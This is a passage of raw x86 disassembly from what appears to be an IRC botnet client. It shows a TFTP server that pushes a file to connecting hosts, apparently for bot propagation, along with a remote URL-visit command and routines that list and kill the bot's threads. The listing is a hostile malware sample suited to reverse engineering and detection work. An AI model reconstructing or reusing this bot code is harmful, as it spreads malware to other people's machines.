-42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 884h push ebx push esi push edi mov edx, [ebp+arg_0] mov esi, offset aOctet ; "octet" lea edi, [ebp+var_1C] movsd push 1 xor ebx, ebx movsw pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_37C] push ebx push 2 rep movsd inc [ebp+var_16C] push 2 mov [ebp+var_C], eax mov [edx+2A0h], eax call dword_44B740 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_415DB7 push 190h call ds:dword_4942D8 call dword_44B654 ; WSAGetLastError push eax lea eax, [ebp+var_780] push offset aTftpErrorSocke ; "[TFTP]: Error: socket() failed, returne"... push eax call sub_418D70 add esp, 0Ch cmp [ebp+var_E0], ebx jnz short loc_415D97 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40842D add esp, 14h loc_415D97: ; CODE XREF: sub_415CF4+7Ej lea eax, [ebp+var_780] push eax call sub_4035E1 push [ebp+var_170] call sub_416507 pop ecx pop ecx push ebx call ds:dword_4942FC loc_415DB7: ; CODE XREF: sub_415CF4+50j mov eax, [ebp+var_170] push 10h imul eax, 234h push ebx mov dword_44D064[eax], edi lea eax, [ebp+var_44] push eax call sub_4189A0 add esp, 0Ch mov [ebp+var_44], 2 push [ebp+var_168] call dword_44B6C0 ; htons mov [ebp+var_42], ax lea eax, [ebp+var_44] push 10h push eax push edi mov [ebp+var_40], ebx call dword_44B6EC ; bind cmp eax, 0FFFFFFFFh jnz short loc_415E1C push 1388h call ds:dword_4942D8 dec [ebp+var_16C] push [ebp+arg_0] jmp loc_4161DF ; --------------------------------------------------------------------------- loc_415E1C: ; CODE XREF: sub_415CF4+10Dj lea eax, [ebp+var_378] push offset aRb_1 ; "rb" push eax call sub_419D70 pop ecx cmp eax, ebx pop ecx mov [ebp+var_8], eax jnz short loc_415E9A push 190h call ds:dword_4942D8 lea eax, [ebp+var_378] push eax lea eax, [ebp+var_780] push offset aTftpFailedToOp ; "[TFTP]: Failed to open file: %s." push eax call sub_418D70 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40842D lea eax, [ebp+var_780] push eax call sub_4035E1 push [ebp+var_170] call sub_416507 add esp, 28h push ebx call ds:dword_4942FC loc_415E9A: ; CODE XREF: sub_415CF4+140j mov esi, 200h loc_415E9F: ; CODE XREF: sub_415CF4+4A5j mov eax, [ebp+arg_0] cmp [eax+2A0h], ebx jz loc_41619F mov [ebp+var_880], edi mov edi, 80h push edi lea eax, [ebp+var_D8] push ebx push eax mov [ebp+var_34], 5 mov [ebp+var_30], 1388h mov [ebp+var_884], 1 call sub_4189A0 add esp, 0Ch lea eax, [ebp+var_34] push eax push ebx lea eax, [ebp+var_884] push ebx push eax push ebx call dword_44B6A8 ; select test eax, eax jle loc_416193 mov al, byte_492058 mov ecx, edi mov [ebp+var_580], al xor eax, eax lea edi, [ebp+var_57F] mov [ebp+var_4], 10h rep stosd stosw stosb mov edi, [ebp+var_10] lea eax, [ebp+var_4] push eax lea eax, [ebp+var_2C] push eax push ebx lea eax, [ebp+var_D8] push 80h push eax push edi call dword_44B698 ; recvfrom push [ebp+var_28] mov [ebp+var_C], eax call dword_44B74C ; inet_ntoa push eax lea eax, [ebp+var_58] push eax call sub_418D70 cmp [ebp+var_D8], bl pop ecx pop ecx jnz loc_41617D cmp [ebp+var_D7], 1 jnz loc_4160C9 lea eax, [ebp+var_274] push eax call sub_418E70 lea eax, [ebp+eax+var_D5] mov [ebp+var_14], eax lea eax, [ebp+var_274] push eax call sub_418E70 push eax lea eax, [ebp+var_D6] push eax lea eax, [ebp+var_274] push eax call sub_41B790 add esp, 14h test eax, eax jnz loc_416083 lea eax, [ebp+var_1C] push eax call sub_418E70 push eax lea eax, [ebp+var_1C] push [ebp+var_14] push eax call sub_41B790 add esp, 10h test eax, eax jnz loc_416083 push ebx push ebx push [ebp+var_8] call sub_41B7D0 push [ebp+var_8] lea eax, [ebp+var_57C] mov [ebp+var_580], bl mov [ebp+var_57F], 3 push esi push 1 push eax mov [ebp+var_57E], bl mov [ebp+var_57D], 1 call sub_419D90 add esp, 1Ch lea ecx, [ebp+var_2C] mov [ebp+var_C], eax add eax, 4 push [ebp+var_4] push ecx push ebx push eax lea eax, [ebp+var_580] push eax push edi call dword_44B724 ; sendto lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset aTftpFileTran_1 ; "[TFTP]: File transfer started to IP: %s"... loc_416037: ; CODE XREF: sub_415CF4+484j lea eax, [ebp+var_780] push eax call sub_418D70 add esp, 10h cmp [ebp+var_E0], ebx jnz short loc_416071 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40842D add esp, 14h loc_416071: ; CODE XREF: sub_415CF4+358j lea eax, [ebp+var_780] push eax call sub_4035E1 pop ecx jmp loc_416193 ; --------------------------------------------------------------------------- loc_416083: ; CODE XREF: sub_415CF4+2B6j ; sub_415CF4+2D7j push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 13h push offset dword_442A44 push edi call dword_44B724 ; sendto lea eax, [ebp+var_274] push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_D8] push offset aTftpFileNotFou ; "[TFTP]: File not found: %s (%s)." push eax call sub_418D70 lea eax, [ebp+var_D8] push eax call sub_4035E1 add esp, 14h jmp loc_416193 ; --------------------------------------------------------------------------- loc_4160C9: ; CODE XREF: sub_415CF4+275j cmp [ebp+var_D7], 4 jnz loc_41617D mov cl, [ebp+var_D5] mov al, [ebp+var_D6] cmp cl, 0FFh mov [ebp+var_580], bl mov [ebp+var_57F], 3 jnz short loc_416106 inc al xor cl, cl mov [ebp+var_57E], al mov [ebp+var_57D], bl jmp short loc_416114 ; --------------------------------------------------------------------------- loc_416106: ; CODE XREF: sub_415CF4+3FEj inc cl mov [ebp+var_57E], al mov [ebp+var_57D], cl loc_416114: ; CODE XREF: sub_415CF4+410j movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx push ebx shl eax, 9 sub eax, esi push eax push [ebp+var_8] call sub_41B7D0 push [ebp+var_8] lea eax, [ebp+var_57C] push esi push 1 push eax call sub_419D90 add esp, 1Ch mov edi, eax lea eax, [ebp+var_2C] mov [ebp+var_C], edi push [ebp+var_4] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_580] push eax push [ebp+var_10] call dword_44B724 ; sendto cmp edi, ebx jnz short loc_416193 lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset aTftpFileTran_2 ; "[TFTP]: File transfer complete to IP: %"... jmp loc_416037 ; --------------------------------------------------------------------------- loc_41617D: ; CODE XREF: sub_415CF4+268j ; sub_415CF4+3DCj push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 9 push offset dword_442ADC push edi call dword_44B724 ; sendto loc_416193: ; CODE XREF: sub_415CF4+204j ; sub_415CF4+38Aj ... cmp [ebp+var_C], ebx mov edi, [ebp+var_10] jg loc_415E9F loc_41619F: ; CODE XREF: sub_415CF4+1B4j push edi call dword_44B758 ; closesocket push [ebp+var_8] call sub_419740 mov esi, [ebp+arg_0] dec [ebp+var_16C] pop ecx cmp [esi+2A0h], ebx jnz short loc_4161D3 push [ebp+var_170] call sub_416507 pop ecx push ebx call ds:dword_4942FC loc_4161D3: ; CODE XREF: sub_415CF4+4CAj push 3E8h call ds:dword_4942D8 push esi loc_4161DF: ; CODE XREF: sub_415CF4+123j call sub_415CF4 pop edi pop esi pop ebx leave retn 4 sub_415CF4 endp ; =============== S U B R O U T I N E ======================================= sub_4161EB proc near ; CODE XREF: sub_402994+F0p ; sub_402994+20Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_44CE58 loc_4161F3: ; CODE XREF: sub_4161EB+18j cmp byte ptr [eax], 0 jz short loc_416207 add eax, 234h inc edi cmp eax, offset dword_491BE8 jl short loc_4161F3 jmp short loc_416252 ; --------------------------------------------------------------------------- loc_416207: ; CODE XREF: sub_4161EB+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_44CE58[esi] push eax call sub_4191A0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_44D058[esi], eax and dword_44D05C[esi], 0 mov eax, [esp+8+arg_8] and dword_44D060[esi], 0 mov dword_44D064[esi], eax and byte_44D070[esi], 0 pop esi loc_416252: ; CODE XREF: sub_4161EB+1Aj mov eax, edi pop edi retn sub_4161EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416256 proc near ; DATA XREF: sub_40C50A+5BF5o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd push [ebp+var_10] mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] call sub_4162A8 push [ebp+var_14] call sub_416507 add esp, 14h push 0 call ds:dword_4942FC pop edi pop esi sub_416256 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4162A8 proc near ; CODE XREF: sub_416256+38p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset aThreadList ; "-[Thread List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 14h xor edi, edi mov esi, offset dword_44CE58 loc_4162D2: ; CODE XREF: sub_4162A8+78j cmp byte ptr [esi], 0 jz short loc_416313 cmp [ebp+arg_C], 0 jnz short loc_4162E6 cmp dword ptr [esi+204h], 0 jnz short loc_416313 loc_4162E6: ; CODE XREF: sub_4162A8+33j push esi push edi lea eax, [ebp+var_200] push offset aD_S_0 ; "%d. %s" push eax call sub_418D70 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 24h loc_416313: ; CODE XREF: sub_4162A8+2Dj ; sub_4162A8+3Cj add esi, 234h inc edi cmp esi, offset dword_491BE8 jl short loc_4162D2 pop edi pop esi leave retn sub_4162A8 endp ; =============== S U B R O U T I N E ======================================= sub_416326 proc near ; CODE XREF: sub_40C50A+4DEDp ; sub_4163B4+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_4163AE cmp esi, 1F4h jge short loc_4163AE imul esi, 234h push edi push ebx push dword_44D06C[esi] lea edi, dword_44D06C[esi] call ds:dword_4943D4 cmp [edi], ebx jz short loc_41635E push 1 pop ebp loc_41635E: ; CODE XREF: sub_416326+33j mov [edi], ebx lea edi, dword_44D060[esi] mov dword_44D058[esi], ebx mov dword_44D05C[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_41637F push eax call sub_40B813 pop ecx loc_41637F: ; CODE XREF: sub_416326+50j mov [edi], ebx lea edi, dword_44D064[esi] mov byte ptr dword_44CE58[esi], bl mov byte_44D070[esi], bl push dword ptr [edi] call dword_44B758 ; closesocket lea esi, dword_44D068[esi] mov [edi], ebx push dword ptr [esi] call dword_44B758 ; closesocket mov [esi], ebx pop edi loc_4163AE: ; CODE XREF: sub_416326+Dj ; sub_416326+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_416326 endp ; =============== S U B R O U T I N E ======================================= sub_4163B4 proc near ; CODE XREF: sub_405938+18p ; sub_409D2E:loc_409D52p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_44CE58 loc_4163C0: ; CODE XREF: sub_4163B4+2Aj cmp byte ptr [esi], 0 jz short loc_4163D1 push edi call sub_416326 test eax, eax pop ecx jz short loc_4163D1 inc ebx loc_4163D1: ; CODE XREF: sub_4163B4+Fj ; sub_4163B4+1Aj add esi, 234h inc edi cmp esi, offset dword_491BE8 jl short loc_4163C0 pop edi mov eax, ebx pop esi pop ebx retn sub_4163B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4163E6 proc near ; CODE XREF: sub_40C50A+1CFBp ; sub_40C50A+1DCEp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_44D05C loc_4163FA: ; CODE XREF: sub_4163E6+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_41641C test edi, edi jle short loc_41640E cmp [esi], edi jz short loc_41640E cmp ebx, edi jnz short loc_41641C loc_41640E: ; CODE XREF: sub_4163E6+1Ej ; sub_4163E6+22j push ebx call sub_416326 test eax, eax pop ecx jz short loc_41641C inc [ebp+var_4] loc_41641C: ; CODE XREF: sub_4163E6+1Aj ; sub_4163E6+26j ... add esi, 234h inc ebx cmp esi, offset dword_491DEC jl short loc_4163FA mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_4163E6 endp ; =============== S U B R O U T I N E ======================================= sub_416433 proc near ; CODE XREF: sub_40291D+Bp ; sub_402994+2Dp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_44D058 loc_41643A: ; CODE XREF: sub_416433+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_416443 inc eax loc_416443: ; CODE XREF: sub_416433+Dj add ecx, 234h cmp ecx, offset dword_491DE8 jl short loc_41643A retn sub_416433 endp ; =============== S U B R O U T I N E ======================================= sub_416452 proc near ; CODE XREF: sub_40C50A+56A1p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_44D058 loc_41645C: ; CODE XREF: sub_416452+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_416475 add ecx, 234h inc edx cmp ecx, offset dword_491DE8 jl short loc_41645C pop esi retn ; --------------------------------------------------------------------------- loc_416475: ; CODE XREF: sub_416452+10j mov eax, edx pop esi retn sub_416452 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416479 proc near ; CODE XREF: sub_40C50A+5D9Ep var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_416492 push [ebp+arg_1C] call sub_4195F0 pop ecx loc_416492: ; CODE XREF: sub_416479+Ej push eax push [ebp+arg_18] call sub_4163E6 pop ecx test eax, eax pop ecx jle short loc_4164BE push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_418D70 add esp, 14h jmp short loc_4164D8 ; --------------------------------------------------------------------------- loc_4164BE: ; CODE XREF: sub_416479+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_418D70 add esp, 10h loc_4164D8: ; CODE XREF: sub_416479+43j cmp [ebp+arg_C], 0 jnz short loc_4164F8 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 14h loc_4164F8: ; CODE XREF: sub_416479+63j lea eax, [ebp+var_200] push eax call sub_4035E1 pop ecx leave retn sub_416479 endp ; =============== S U B R O U T I N E ======================================= sub_416507 proc near ; CODE XREF: sub_403076+206p ; sub_40328A+238p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_44D06C[eax], ecx mov dword_44D058[eax], ecx mov dword_44D05C[eax], ecx mov dword_44D060[eax], ecx mov dword_44D064[eax], ecx mov dword_44D068[eax], ecx mov byte ptr dword_44CE58[eax], cl mov byte_44D070[eax], cl retn sub_416507 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416544 proc near ; DATA XREF: sub_40C50A+498Eo var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset asc_442B40 ; "*/*" call sub_4189A0 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_4189A0 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_4189A0 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_4189A0 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_4189A0 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_418E70 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_44B5C8 ; InternetCrackUrlA test eax, eax jz loc_4166DE cmp [ebp+var_34], ebx jbe short loc_41661B push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_4191A0 add esp, 0Ch loc_41661B: ; CODE XREF: sub_416544+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_416639 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_4191A0 add esp, 0Ch loc_416639: ; CODE XREF: sub_416544+DEj cmp [ebp+var_20], ebx jbe short loc_416653 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_4191A0 add esp, 0Ch loc_416653: ; CODE XREF: sub_416544+F8j cmp [ebp+var_18], ebx jbe short loc_41666D push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_4191A0 add esp, 0Ch loc_41666D: ; CODE XREF: sub_416544+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_44B670 call dword_44B694 ; InternetConnectA mov esi, eax cmp esi, ebx jz short loc_4166F6 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_44B688 ; HttpOpenRequestA cmp eax, ebx mov [ebp+var_4], eax jz short loc_4166FD push ebx push ebx push ebx push ebx push eax call dword_44B63C ; HttpSendRequestA test eax, eax jz short loc_4166D7 push offset aVisitUrlVisite ; "[VISIT]: URL visited." jmp short loc_416702 ; --------------------------------------------------------------------------- loc_4166D7: ; CODE XREF: sub_416544+18Aj push offset aVisitFailedToG ; "[VISIT]: Failed to get requested URL fr"... jmp short loc_416702 ; --------------------------------------------------------------------------- loc_4166DE: ; CODE XREF: sub_416544+B7j lea eax, [ebp+var_55C] push offset aVisitInvalidUr ; "[VISIT]: Invalid URL." push eax call sub_418D70 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_416710 ; --------------------------------------------------------------------------- loc_4166F6: ; CODE XREF: sub_416544+153j push offset aVisitCouldNotO ; "[VISIT]: Could not open a connection." jmp short loc_416702 ; --------------------------------------------------------------------------- loc_4166FD: ; CODE XREF: sub_416544+17Bj push offset aVisitFailedToC ; "[VISIT]: Failed to connect to HTTP serv"... loc_416702: ; CODE XREF: sub_416544+191j ; sub_416544+198j ... lea eax, [ebp+var_55C] push eax call sub_418D70 pop ecx pop ecx loc_416710: ; CODE XREF: sub_416544+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41673B push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_40842D add esp, 14h loc_41673B: ; CODE XREF: sub_416544+1D2j lea eax, [ebp+var_55C] push eax call sub_4035E1 pop ecx push esi call dword_44B6F4 ; InternetCloseHandle push [ebp+var_4] call dword_44B6F4 ; InternetCloseHandle push [ebp+var_1D8] call sub_416507 pop ecx push ebx call ds:dword_4942FC pop edi pop esi pop ebx sub_416544 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41676E proc near ; CODE XREF: sub_40C50A+61DCp ; sub_41689C+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_416778: ; CODE XREF: sub_41676E+68j mov cl, [esi] test cl, cl jz short loc_4167D8 cmp eax, 1 jnz short loc_4167D8 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_4167D8 cmp cl, 2Ah jz short loc_4167BF cmp cl, 3Fh jz short loc_4167A2 cmp cl, 5Bh jz short loc_4167A7 xor eax, eax cmp cl, dl setz al loc_4167A2: ; CODE XREF: sub_41676E+26j inc [ebp+arg_4] jmp short loc_4167D2 ; --------------------------------------------------------------------------- loc_4167A7: ; CODE XREF: sub_41676E+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_416804 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_4167D2 ; --------------------------------------------------------------------------- loc_4167BF: ; CODE XREF: sub_41676E+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_41689C mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_4167D2: ; CODE XREF: sub_41676E+37j ; sub_41676E+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_416778 ; --------------------------------------------------------------------------- loc_4167D8: ; CODE XREF: sub_41676E+Ej ; sub_41676E+13j ... cmp byte ptr [esi], 2Ah jnz short loc_4167E8 cmp eax, 1 jnz short loc_4167FF inc esi mov [ebp+arg_0], esi jmp short loc_4167D8 ; --------------------------------------------------------------------------- loc_4167E8: ; CODE XREF: sub_41676E+6Dj cmp eax, 1 jnz short loc_4167FF mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_4167FF cmp byte ptr [esi], 0 jnz short loc_4167FF push 1 pop eax jmp short loc_416801 ; --------------------------------------------------------------------------- loc_4167FF: ; CODE XREF: sub_41676E+72j ; sub_41676E+7Dj ... xor eax, eax loc_416801: ; CODE XREF: sub_41676E+8Fj pop esi pop ebp retn sub_41676E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416804 proc near ; CODE XREF: sub_41676E+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_416825 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_416825: ; CODE XREF: sub_416804+19j push ebx push esi loc_416827: ; CODE XREF: sub_416804+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_416835 cmp [ebp+var_4], eax jnz short loc_416881 loc_416835: ; CODE XREF: sub_416804+2Aj test edi, edi jnz short loc_416876 cmp bl, 2Dh jnz short loc_41686A mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_41686A cmp al, 5Dh jz short loc_41686A cmp [ebp+var_4], edi jnz short loc_41686A mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_416876 cmp bl, al jg short loc_416876 push 1 mov [edx], esi pop edi jmp short loc_416876 ; --------------------------------------------------------------------------- loc_41686A: ; CODE XREF: sub_416804+38j ; sub_416804+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_416876 push 1 pop edi loc_416876: ; CODE XREF: sub_416804+33j ; sub_416804+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_416827 ; --------------------------------------------------------------------------- loc_416881: ; CODE XREF: sub_416804+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_41688E mov ecx, eax sub ecx, edi mov edi, ecx loc_41688E: ; CODE XREF: sub_416804+82j cmp edi, eax jnz short loc_416897 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_416897: ; CODE XREF: sub_416804+8Cj mov eax, edi pop edi leave retn sub_416804 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41689C proc near ; CODE XREF: sub_41676E+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_4168B8: ; CODE XREF: sub_41689C+3Aj cmp [eax], bl jz short loc_4168D8 mov cl, [ecx] cmp cl, 3Fh jz short loc_4168CD cmp cl, 2Ah jnz short loc_4168D8 cmp cl, 3Fh jnz short loc_4168D0 loc_4168CD: ; CODE XREF: sub_41689C+25j inc eax mov [edi], eax loc_4168D0: ; CODE XREF: sub_41689C+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_4168B8 ; --------------------------------------------------------------------------- loc_4168D8: ; CODE XREF: sub_41689C+1Ej ; sub_41689C+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_4168E3 inc dword ptr [esi] jmp short loc_4168D8 ; --------------------------------------------------------------------------- loc_4168E3: ; CODE XREF: sub_41689C+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_416904 mov edx, [esi] cmp [edx], bl jz short loc_4168F5 xor eax, eax jmp short loc_416964 ; --------------------------------------------------------------------------- loc_4168F5: ; CODE XREF: sub_41689C+53j cmp cl, bl jnz short loc_416904 mov ecx, [esi] cmp [ecx], bl jnz short loc_416904 push 1 pop eax jmp short loc_416964 ; --------------------------------------------------------------------------- loc_416904: ; CODE XREF: sub_41689C+4Dj ; sub_41689C+5Bj ... push eax push dword ptr [esi] call sub_41676E pop ecx test eax, eax pop ecx jnz short loc_41694E loc_416912: ; CODE XREF: sub_41689C+B0j inc dword ptr [edi] mov eax, [edi] loc_416916: ; CODE XREF: sub_41689C+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_41692E cmp cl, 5Bh jz short loc_41692E cmp dl, bl jz short loc_41692E inc eax mov [edi], eax jmp short loc_416916 ; --------------------------------------------------------------------------- loc_41692E: ; CODE XREF: sub_41689C+82j ; sub_41689C+87j ... mov eax, [edi] cmp [eax], bl jz short loc_416945 push eax push dword ptr [esi] call sub_41676E neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_41694A ; --------------------------------------------------------------------------- loc_416945: ; CODE XREF: sub_41689C+96j mov [ebp+var_4], ebx xor eax, eax loc_41694A: ; CODE XREF: sub_41689C+A7j cmp eax, ebx jnz short loc_416912 loc_41694E: ; CODE XREF: sub_41689C+74j mov eax, [edi] cmp [eax], bl jnz short loc_416961 mov eax, [esi] cmp [eax], bl jnz short loc_416961 mov [ebp+var_4], 1 loc_416961: ; CODE XREF: sub_41689C+B6j ; sub_41689C+BCj mov eax, [ebp+var_4] loc_416964: ; CODE XREF: sub_41689C+57j ; sub_41689C+66j pop edi pop esi pop ebx leave retn sub_41689C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416970 proc near ; CODE XREF: sub_401000+7Ap ; sub_401000+8Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41697A: ; CODE XREF: sub_416970+1Fj mov ecx, [ebp+var_4] xor edx, edx mov dx, [ecx] test edx, edx jz short loc_416991 mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax jmp short loc_41697A ; --------------------------------------------------------------------------- loc_416991: ; CODE XREF: sub_416970+14j ; sub_416970+4Bj mov ecx, [ebp+var_4] mov edx, [ebp+arg_4] mov ax, 